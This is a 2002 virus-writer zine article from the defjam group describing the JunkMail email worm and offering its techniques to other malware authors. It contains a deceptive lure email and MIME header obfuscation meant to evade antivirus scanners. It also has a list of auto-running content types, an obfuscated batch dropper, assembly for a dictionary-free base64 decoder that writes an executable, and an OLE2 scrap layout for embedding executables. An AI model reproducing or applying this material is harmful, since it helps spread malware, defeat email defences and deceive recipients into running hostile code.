The Ins and Outs of JunkMail
                              roy g biv / defjam
                              RT Fishel / defjam

                                 -= defjam =-
                                  since 1992
                     bringing you the viruses of tomorrow
                                    today!


About the authors:

roy  g  biv: former DOS/Win16 virus writer, author of several virus  families,
including  Ginger  (see Coderz #1 zine for terrible buggy example, contact  me
for  better sources ;), and Virus Bulletin 9/95 for a description of what they
called  Rainbow.   Co-author of world's first virus using  circular  partition
trick  (Orsam,  coded with Prototype in 1993).  Designer of world's first  XMS
swapping virus (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the
rest  is  swapped  out).   Author of world's first virus  using  Thread  Local
Storage for replication (Shrug, see Virus Bulletin 6/02 for a description, but
they  call  it  Chiton), world's first virus using Visual Basic  5/6  language
extensions  for  replication  (OU812), world's first Native  executable  virus
(Chthon),  and  world's  first  virus using process  co-operation  to  prevent
termination  (Gemini).  Author of various retrovirus articles (eg see Vlad  #7
for the strings that make your code invisible to TBScan).  Went to sleep for a
number  of years.  This is my sixth virus for Win32.  It is the world's  first
virus using polymorphic SMTP headers.

I'm also available for joining a group.  Just in case anyone is interested. ;)

RT Fishel: I don't write virus, I write code for people to use in their virus.


JunkMail  brings to you some new techniques for e-mail speading.  If you  read
RFC  822 carefully, you will see a description about comments that are allowed
to  appear  in headers.  These comments must be enclosed in () characters  and
can  contain any characters in the ISO-8859-1 character set.  If you use these
comments  to obfuscate the MIME headers, then you might bypass some AV  e-mail
scanners. :)

Here is an example JunkMail e-mail before obfuscation:

MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary=WIFVHABY

--WIFVHABY

I received this file from you yesterday evening.
I think it was sent without you knowing by the Aliz virus.
The filename was changed but it looked like an important video inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see
http://support.microsoft.com/support/kb/articles/q290/4/97.asp

--WIFVHABY
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<IFRAME SRC=3DCID:EMAIL WIDTH=3D0>
--WIFVHABY
Content-Type: audio/x-ms-wax;
 name=email.com
Content-Transfer-Encoding: base64
Content-ID: <EMAIL>

[base64 encoded file]
--WIFVHABY
--


Here is an example JunkMail e-mail after obfuscation:

MIMe-vERSioN: 1(*T).0
COntEnT-TyPe: (<!)mU(3)l(/)TIp(*)aRT(!)/M(;)i(^)X(eCz)E(/`x)d;
 (,#?)Bo(8l)uN(_)Da(*F)Ry=WIFVHABY

XXEMEDWSIUKZTCJYCBTCRRBYFLUICTWOURLFJDDRB
EIQFPJJEAHOGZWSZYFPEXNSOSBDJNHURTQTRRIBLUPYXIPFWBXJNBOQVLSMJ
GJHZF
KKTKYGEHWHUZTXWBGKDFCIJBCMGBZBFEDMVLYDURSRTXNOXGLJYTGVEPW
GFVEVLCJ
WIFVHABY--
--WIFVHABY

I received this file from you yesterday evening.
I think it was sent without you knowing by the Aliz virus.
The filename was changed but it looked like an important video inside.
You should look at this file to see what it is.
The attachment might open automatically. This is normal behaviour.
If you see a prompt to Open or Save the email then choose Open.
If the attachment is blocked by Outlook 2002 then see
http://support.microsoft.com/support/kb/articles/q290/4/97.asp

--WIFVHABY
coNTent-TYPE: (6{)t(=`)e(x-1)xt(bU)/hT(w)ML
coNtEnT-TRANSFEr-ENCoDING: Qu(ZYT)OT(0&y)E(DBZ)d(a)-(_)PRi(p9Q)N(|N)TaBlE

=3CIF=52A=4DE =53RC=3D=43I=44=3A=45MAIL =57=49=44T=48=3D=30=3E
--WIFVHABY
ConTeNt-TYpe: (~S)A(I8t)U(w)D(y:,)Io/(JP)x-M(,)s-w(J)A(+)X(8);
 (')Nam(|lz)E(oJ_)=(M#g)e(NO>)m(J)a(6U)il(b#).c(lp')o(Eh)M
ConTenT-tRaNSFER-eNCoDiNG: bA(@h)se(*)64
coNtENt-iD: <(wFe)EM(gq6)ai(*)L>

[base64 encoded file]
--WIFVHABY
OIALNKVLKBDYHURLTQQGRACSXCSGLWKJVSDROSQBJOXYMYAFRFQJGKA
VBJLPEZQDTRVIXV
AHAVZF
ABCAYMKUVCZERXGK
MCKSRAHQVCJVFYZJGTRUHRJQXPNUWJRRJCRTGCOFCRWNRNKYGAXT
NEWUHSRTHFEIWGHMMELC
PQJQLUYEBRTOPMMUEIZYEXAITLRBJOTVLMFZIZTUTSVILGZQQSKODLBCIKW
VADMWVJEXMGWEPAJIVBEXBQQESSCWMQVSUZXVOMLGATIUKIJCCZRZZQSF
FPGMSXAG
--


Wow! :)
So  this is our first step, but it is not enough for us.  We want to do  more.
After  some  research,  we found all of the MIME Content Types  that  can  run
automatically.  There is not just audio/x-wav, you know?  Here are they:

        application/x-mplayer2
        audio/aiff
        audio/mid
        audio/midi
        audio/mpeg
        audio/x-mid
        audio/x-midi
        audio/x-mpegurl
        audio/x-ms-wax
        audio/x-ms-wma
        audio/x-wav
        midi/mid
        video/msvideo
        video/quicktime
        video/x-ivf
        video/x-mpeg
        video/x-mpeg2a
        video/x-ms-asf
        video/x-ms-asf-plugin
        video/x-ms-wm
        video/x-ms-wmv
        video/x-ms-wvx

Then  with  more research, we found another thing: Content Types that  display
the  CID  instead of the filename!  The user will see a prompt this time,  but
if  the  CID  has a not-suspicious name, then the user might let it  run.   It
seems that no-one knew about this.  Here are they:

        application/futuresplash
        application/hta
        application/x-shockwave-flash
        text/x-scriptlet

We  use EMAIL for CID, so user opens e-mail then sees prompt to open EMAIL. :)
And  still not enough for us.  We also use random choice of file content  (not
only  the extension).  We can choose between a .BAT file, a Windows executable
file, and a OLE2 scrap file.

The  .BAT  file drops a executable ASCII .COM file that contains a new  base64
decoder  algorithm  that  does  not need any character  dictionary.   Here  is
description of that by RT Fishel:

The  .BAT  file dropper had to be compatible with RFC 1521 mail, it had to  be
compatible  with  .BAT  files  for  all Windows versions, and  it  had  to  be
compatible  with  ISO  8859  (0x20-0x7e  only) to  avoid  troubles  with  DBCS
codepages.   RFC  1521  mail has a maximum line length of 76  characters  (not
including CRLF) and no = (0x3d) characters unless at end of line or encoded as
uppercase  octet  (=3D).   Long  lines are continued by  ending  line  with  =
character  and  .BAT files must not contain any of these characters:  "  (0x22
(NT/2000/XP)), & (0x26), < (0x3c), > (0x3e), | (0x7c).  Also, % (0x25) must be
%%  (all  platforms) and ^ (0x5e) must be ^^ under NT/2000/XP.  All  of  these
conditions made it very difficult to write. :)

So we begin:

        @ECHO OFF                               no screen output
        SET %R=^^^^                             must default to NT/2000/XP (result is %R%=^^)
        IF NOT %OS%T==T GOTO F                  OS is defined for NT/2000/XP so we skip next line
        SET %R=^                                because this line executes correctly only under 9x/Me
        :F

but for sure we obfuscate that code, too.  Here is an example of that:

        @EC=48O =4FFF
        =53=45=54 %=52=3D^^=5E^
        I=46 NO=54 %O=53%=54=3D=3DT =47O=54=4F =46
        SE=54 =25R=3D=5E
        :=46
--


Then we initialise the decryptor (this is executable ASCII code):

        pop     ax                              ax = 0
        push    ax                              return address (-> int 20h)
        dec     ax                              ax = ffffh
        aaa                                     ax = 105h
        xor     al, (offset b64_outer + 1 - 105h) and 0ffh
        push    ax
        pop     si                              si -> encrypted buffer
        xor     ax, (offset b64_outer + 1) xor '00'
                                                ah = '0' (8-bit decryption key)
        push    ax
        pop     bp                              bp = '00' (16-bit decryption key)

and decrypt the decoder:

        sub     [si + 21], ah                   decrypt push (76 shr 2) + 1
        sub     [si + 27], ah                   decrypt je b64_newline
        sub     [si + 29], si + sub [si + 29], ah
                                                decrypt lods dword ptr [esi]
        sub     [si + 2b], ah                   decrypt push 4
        sub     [si + 2e], si + sub [si + 2f], si
                                                decrypt rol eax, 8
        sub     [si + 30], bp                   decrypt cmp al, '0'
        sub     [si + 34], bp                   decrypt jnb b64_testchar
        sub     [si + 36], si                   decrypt add al, (('/' shl 2) + 1) and 0ffh
        sub     [si + 37], si + sub [si + 38], si
                                                decrypt shr al, 2
        sub     [si + 39], bp                   decrypt add al, 4
        sub     [si + 3b], bp                   decrypt cmp al, 3fh
        sub     [si + 3f], ah                   decrypt jbe b64_store
        sub     [si + 42], bp                   decrypt cmp al, 19h
        sub     [si + 45], ah                   decrypt jbe b64_store
        sub     [si + 47], ah                   decrypt sub al, 6
        sub     [si + 49], ah + sub [si + 4a], si + sub [si + 4a], ah + sub [si + 4b], si + sub [si + 4c], ah
                                                decrypt shrd ebx, eax, 6
        sub     [si + 4d], si + sub [si + 4e], si
                                                decrypt loop b64_inner
        sub     [si + 50], si + sub [si + 50], ah
                                                decrypt xchg ebx, eax
        sub     [si + 52], bp * 2               decrypt bswap eax
        sub     [si + 55], si + sub [si + 55], ah
                                                decrypt stos dword ptr [di]
        sub     [si + 5a], si                   decrypt jne b64_outer
        sub     [si + 63], si                   decrypt int 21h
        sub     [si + 6c], si                   decrypt int 21h
        sub     [si + 6e], si                   decrypt ret

then terminate filename and point to base64 data:

        push    si
        pop     ax
        sub     al, 42h                         just random values to sub 84h
        sub     al, 42h                         point to end of filename
        push    ax
        pop     di
        and     byte ptr [di], ah               must be 0 somewhere after suffix
        inc     di                              point to base64 data (fword aligned)
        push    di                              save write buffer pointer
        xor     al, 34h                         point to start of filename
        push    ax                              save filename pointer
        push    di
        pop     si                              si -> base64 data

base64 decoder without dictionary by RT Fishel, 16-bit version, ~64kb decode
(this part has been decrypted by code above)

b64decode   proc    near

b64_newline     label   near
        push    (76 shr 2) + 1
        pop     dx
        inc     si
        inc     si

b64_outer   label   near
        dec     edx
        je      b64_newline
        lods    dword ptr [esi]
        push    4
        pop     cx

b64_inner       label   near
        rol     eax, 8
        cmp     al, '0'
        jnb     b64_testchar
        add     al, (('/' shl 2) + 1) and 0ffh
        shr     al, 2                           '+' and '/' differ by only 1 bit

b64_testchar    label   near
        add     al, 4
        cmp     al, 3fh
        jbe     b64_store
        sub     al, 45h
        cmp     al, 19h
        jbe     b64_store
        sub     al, 6

b64_store       label   near
        shrd    ebx, eax, 6
        loop    b64_inner
        xchg    ebx, eax
        bswap   eax
        stos    dword ptr [di]
        dec     di
        inc     si
        dec     si
        jne b64_outer
b64decode   endp

now to drop decoded .EXE file

        push    (51h shl 8) + 'R'
        pop     ax
        xor     ax, (6dh shl 8) + 'T'           ah=3c
        pop     dx                              restore filename pointer
        int     21h
        push    ax
        pop bx
        xor     ax, (40h shl 8) + 'F'           ah=40
        dec     cx
        pop     dx                              restore write buffer pointer
        int     21h
        ret
        db      'I'                             dummy byte altered by decryptor

filename follows immediately, then pad bytes for 6-byte align, and base64 data
--


The  Windows  executable  file is a standard  MZ .EXE file.   We  did  nothing
special in that case.

The  scrap file is a 512 bytes-per-page OLE2 file with embedded .EXE.  It uses
some tricks to  make it smallest possible OLE2 file.  Here is a description of
that by roy g biv:

This  is  a 512 bytes-per-page OLE2 file that works in  9x/Me/NT/2000/XP.   It
uses  the standard OLE2 signature (D0 CF 11 E0 A1 B1 1A E1), because OLE2 beta
signature  (0E 11 FC 0D A1 B1 1A E1) is not supported by Windows 2000/XP.  The
shift  count is 9, so it is not affected by the new OLE2 header size bug.   It
supports  <= 32256 bytes files, because FAT table is a single page.  The  file
must be >= 4096 bytes long, this is an OLE2 limitation.  There is header field
to control this, but is ignored for values < 4096

256  bytes-per-page OLE2 file works in 9x/Me/NT, for <= 16128 bytes files.  It
is  possible  in 2000/XP (needs many tricks), for <= 15872 bytes  files  only.
This  restriction is because of a bug in the 2000/XP OLE2 implementation.   In
the  OLE2  specification, the file header is fixed at 512 bytes long, and  the
default  shift count is 9, but someone at Microsoft thought that these  values
are  related  and now the shift count applies to the file header,  too.   This
means  that  using  a shift count < 9 will read bytes from  the  file  header,
instead  of  the first page.  It is similar to changing the  header  paragraph
count  to 0 in DOS MZ files.  The correct behaviour for OLE2 is to use a  base
file  offset,  which value is 1 << ((shift < 9) ? 9 : shift) to support  large
headers  but  512 bytes minimum, but there is more chance that Microsoft  will
never notice this bug anyway.

We store zeroes for many fields, because OLE2 dlls will use default values.

Here is the file:

        db      0d0h, 0cfh, 11h, 0e0h, 0a1h, 0b1h, 1ah, 0e1h
                                                000 signature
        db      10h dup (0)                     008 unused
        dw      0, 0                            018 DLL version
        dw      0                               01c byte order (for Unicode)
        dw      9                               01e shift count for main FAT
        dw      0                               020 shift count for mini FAT
        dw      0                               022 reserved
        dd      0, 0                            024 reserved
        dd      1                               02c pages in main FAT
        dd      1                               030 page of root storage
        dd      0                               034 unused
        dd      0                               038 size of main pages
        dd      0                               03c page of mini FAT
        dd      0                               040 pages in mini FAT
        dd      0                               044 next page in main FAT (end of chain)
        dd      0                               048 unused
        dd      6dh dup (0)                     04c filler
        dd      0                               200 main FAT page
        dd      0fffffffeh                      204 root storage chain
        dd      ? dup (?)                       208 embedded object stream chain (variable size)
        dw      1, "Ole10Native", 14h dup (0)   400 stream name
        dw      1ah                             440 name length
        db      2                               442 attribute (2=stream, unchecked for Root Storage)
        db      0                               443 unused
        dd      0ffffffffh, 0ffffffffh          444 left and right node indexes
        dd      1                               44c storage index (overload as Root Storage)
        db      10h dup (0)                     450 CLSID
        dd      0                               460 flags
        dq      0, 0                            464 create and modify times
        dd      2                               474 data page
        dd      ?                               478 stream size
        dd      0                               47c unused
        dw      3, "ITEM000", 18h dup (0)       480 scrap storage name
        dw      12h                             4c0 name length
        db      1                               4c2 attribute (1=storage)
        db      0                               4c3 unused
        dd      0ffffffffh, 0ffffffffh          4c4 left and right node indexes
        dd      0                               4cc storage index
        CLSID   0003000c-0000-0000-c000-000000000046
                                                4d0 scrap CLSID
        dd      0                               4e0 flags
        dq      0, 0                            4e4 create and modify times
        dd      0                               4f4 data page (unused by storages)
        dd      0                               4f8 stream size
        dd      0                               4fc unused
        dd      40h dup (0)                     500 unused directory entries
        dd      ?                               600 scrap size
        dw      0                               604 number of strings following
        dw      3                               606 type (3=static)
        dd      6                               608 filename length
        db      "\.exe", 0                      60c filename (only directory and suffix required)
        dd      ?                               612 embedded object size
                                                616
Embedded .EXE file follows immediately.
--


JunkMail  also  uses an adaptive 4/5-bit text compression to hide  the  e-mail
texts.  RT Fishel got the 6502 source from qkumba in 1986 and ported to 80386+
in  2002.  16 years to convert 200 lines of code.  No-one said RTF is fast. :)
The compressor is also included so you can change the texts if you want to.


That's all for this time.
Some cynics might say it is too late for you to ever make it to the top.
They are right.  That top is ours. ;)


roy g biv greets:

RT Fishel               good to work with you again!
VirusBuster             29A#6 is cool
Prototype               see you in the next life
The Gingerbread Man     ...actus rium non facit nici.  mens ria sit


RT Fishel greets:

roy g biv               the hardest part is choosing the name ;)
Obleak                  je voudrais ou j'ai besoin de?
The Gingerbread Man     wake up, Neo.  knock knock
Ronin                   what's in the case?
qkumba                  achcha ye bilbul teek hai!


rgb/dj may 2002
iam_rgb@hotmail.com
[sorry, no mail for RTF.  send to rgb]